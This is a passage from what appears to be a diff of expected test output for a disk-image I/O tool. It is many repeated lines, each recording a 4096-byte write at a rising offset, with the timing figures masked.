ops/sec) +wrote 4096/4096 bytes at offset 4931584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4939776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4947968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4956160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4964352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4972544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4980736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4988928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 4997120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5005312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5013504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5021696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5029888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5038080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5046272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5054464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5062656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5070848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5079040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5087232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5095424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5103616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5111808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5120000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5128192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5136384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5144576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5152768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5160960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5169152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5177344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5185536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5193728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5201920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5210112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5218304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5226496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5234688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5242880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5251072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5259264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5267456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5275648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5283840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5292032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5300224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5308416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5316608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5324800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5332992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5341184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5349376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5357568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5365760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5373952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5382144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5390336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5398528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5406720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5414912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5423104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5431296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5439488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5447680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5455872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5464064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5472256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5480448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5488640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5496832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5505024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5513216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5521408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5529600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5537792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5545984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5554176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5562368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5570560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5578752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5586944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5595136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5603328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5611520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5619712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5627904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5636096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5644288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5652480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5660672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5668864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5677056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5685248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5693440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5701632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5709824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5718016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5726208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5734400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5742592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5750784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5758976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5767168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5775360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5783552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5791744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5799936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5808128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5816320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5824512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5832704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5840896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5849088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5857280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5865472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5873664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5881856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5890048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5898240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5906432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5914624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5922816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5931008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5939200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5947392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5955584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5963776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5971968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5980160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5988352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 5996544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6004736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6012928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6021120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6029312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6037504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6045696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6053888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6062080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6070272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6078464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6086656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6094848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6103040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6111232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6119424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6127616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6135808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6144000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6152192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6160384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6168576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6176768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6184960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6193152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6201344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6209536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6217728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6225920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6234112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6242304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6250496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6258688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6266880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6275072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6283264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6291456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6299648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6307840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6316032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6324224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6332416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6340608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6348800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6356992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6365184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6373376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6381568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6389760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6397952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6406144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6414336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6422528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6430720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6438912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6447104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6455296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6463488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6471680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6479872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6488064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6496256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6504448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6512640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6520832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6529024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6537216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6545408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6553600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6561792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6569984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6578176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6586368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6594560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6602752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6610944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6619136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6627328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6635520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6643712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6651904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6660096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6668288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6676480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6684672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6692864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6701056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6709248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6717440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6725632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6733824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6742016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6750208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6758400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6766592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6774784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6782976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6791168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6799360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6807552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6815744 +XXX Bytes, X ops; 